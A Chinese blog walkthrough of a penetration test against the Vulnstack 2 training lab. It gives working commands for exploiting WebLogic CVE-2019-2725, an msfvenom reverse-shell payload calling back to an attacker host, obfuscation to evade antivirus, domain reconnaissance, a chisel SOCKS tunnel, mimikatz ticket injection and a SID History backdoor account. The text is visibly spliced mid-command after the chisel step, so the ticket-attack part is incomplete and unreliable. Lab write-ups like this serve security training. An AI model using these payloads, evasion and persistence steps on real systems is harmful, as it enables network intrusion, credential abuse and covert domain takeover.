行业新闻

记一次Vulnstack靶场内网渗透(三)

记一次Vulnstack靶场内网渗透(三)

20210118195941.jpg

前言

在上一节《记一次Vulnstack靶场内网渗透(二)》中,我们简单的对vulnstack 4的靶场环境做了一次测试,通过外网初探、信息收集、攻入内网最终拿下域控。在本节中,我们将对vulnstack 2这个靶场进行渗透测试。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

本次靶场环境主要包括Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。

  1. Bypass UAC

  2. Windows系统NTLM获取

  3. Access Token利用(MSSQL利用)

  4. WMI利用

  5. 网页代理,二层代理,特殊协议代理

  6. 域内信息收集

  7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用

  8. 域凭证收集

  9. 后门技术(黄金票据、白银票据、Sid History、MOF)

环境准备

image-20210118230121014

域控服务器:

内网IP:10.10.10.10

系统:Windows Server 2012(64位)

用户名:de1ay

WEB服务器:

模拟外网IP:192.168.1.8

内网IP:10.10.10.80

系统:Windows Server 2008(64位)

用户名:

PC域内主机:

内网IP:10.10.10.201

系统:Windows 7(32位)

用户名:

攻击者VPS:

模拟外网IP:192.168.1.7

系统:Linux

Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。域成员主机Windows 7和域控制器位于内网,域成员主机可以没有公网IP但能上网,域控制器只能与内网连通,不能与外网通信。

外网渗透

我们已知Web服务器的公网IP为192.168.1.8(模拟),所以,我们先对其Web服务器进行端口扫描:

nmap -T4 -sC -sV 192.168.1.8

image-20210119143000169

发现目标主机上开放1433端口和7001端口,分别运行着Mssql和Weblogic服务,我们先从7001端口上的Weblogic下手。

WebLogic 10.3.6.0

访问目标WebLogic服务器控制台:

image-20210119143834403

发现WebLogic的版本是10.3.6.0,用Weblogic一键漏洞检测工具一把梭,该工具提供WebLogic一键poc检测,收录几乎全部weblogic历史漏洞:

image-20210119150045520

存在的漏洞还真不少。先试试CVE-2019-2725,我们在metasploit上找到了该漏洞的利用模块exploit/multi/misc/weblogic_deserialize_asyncresponseservice

image-20210119154939002

但是该模块所携带的payload是针对unix环境的,在windows的环境自然没办法反弹回meterpreter。找遍全网,我找到了如下解决方法:去 exploit-db下载这个exploit脚本,然后攻击者使用如下命令生成一个powershell格式的木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f psh-cmd > shell.ps1

用著名的APT32组织海莲花常用的一个工具Invoke-Obfuscation对生成的shell.ps1做一下简单的免杀。

然后将刚下载的exploit脚本中的exploit变量替换为生成的shell.ps1脚本中的内容。然后在msfconsole中设置好监听:

image-20210119160020256

然后执行exploit脚本:

python3 exploit.py http://192.168.1.8:7001/_async/AsyncResponseServiceHttps

执行后,msfconsole成功得到目标主机的meterpreter,并且为管理员权限:

image-20210119160453015

内网信息收集

拿到了目标Web服务器的权限后,我们开始对目标主机及其所在的网络环境进行信息收集。

本机信息收集

systeminfo    // 查看操作系统信息
echo %PROCESSOR_ARCHITECTURE%    // 查看系统体系结构

image-20210119171656935

ipconfig /all              // 查询本机IP段,所在域等

image-20210119171542287

whoami   // 查看当前用户、权限
net user                               // 查看本地用户
net localgroup administrators           // 查看本地管理员组(通常包含域用户)

image-20210119171913808

综上可知目标Web服务器主机的操作系统为Windows Server 2008,具有两个网卡分别连通192.168.1.1/24和10.10.10.1/24两个网段。

### 域内信息收集

net config workstation     // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain              // 查看域
net time /domain           // 主域服务器会同时作为时间服务器
net user /domain      // 查看域用户
net group /domain     // 查看域内用户组列表
net group "domain computers" /domain      // 查看域内的机器
net group "domain controllers" /domain          // 查看域控制器组
net group "Enterprise Admins" /domain    // 查看域管理员组

image-20210119173542371

image-20210119192952914

image-20210119192838705

从收集的信息可知,目标主机所在的网络存在域环境,域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC,域管理员为Administrator。

攻入内网

我们先使用socks代理工具chisel在目标主机WEB的1090端口上搭建一个socks5代理服务。

在目标主机上传Windows版的chisel,然后执行如下命令启动socks5代理服务器:

start /b chisel.exe server -p 1090 --socks5

// start /b为后台运行

image-20210119200935069

攻击机执行如下命令启动socks5客户端:

nohup ./chisel_for_linux64 client 192.168.1.8:1090 socks 票据文件>   

image-20210120015005714

此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:

kerberos::tgt

image-20210120015100473

到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用这台普通域用户的主机任意访问域控制器了,如下列出域控的C盘目录:

dir \\DC\c$

image-20210120015623062

也可以使用psexec,wmi等方法通过WEB主机对DC进行远程执行命令了,具体操作不再演示。

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

下面我们演示用mimikatz添加SID History后门的操作。

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami Liu78963 /add

image-20210120020448444

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

image-20210120020742359

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

image-20210120021253352

如上图所示,whoami用户的SID History和administrator域管理员的sid相同,那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

Ending......

个人博客:https://whoamianony.top/

参考:

https://www.freebuf.com/articles/web/252963.html

https://www.freebuf.com/articles/network/251364.html

关闭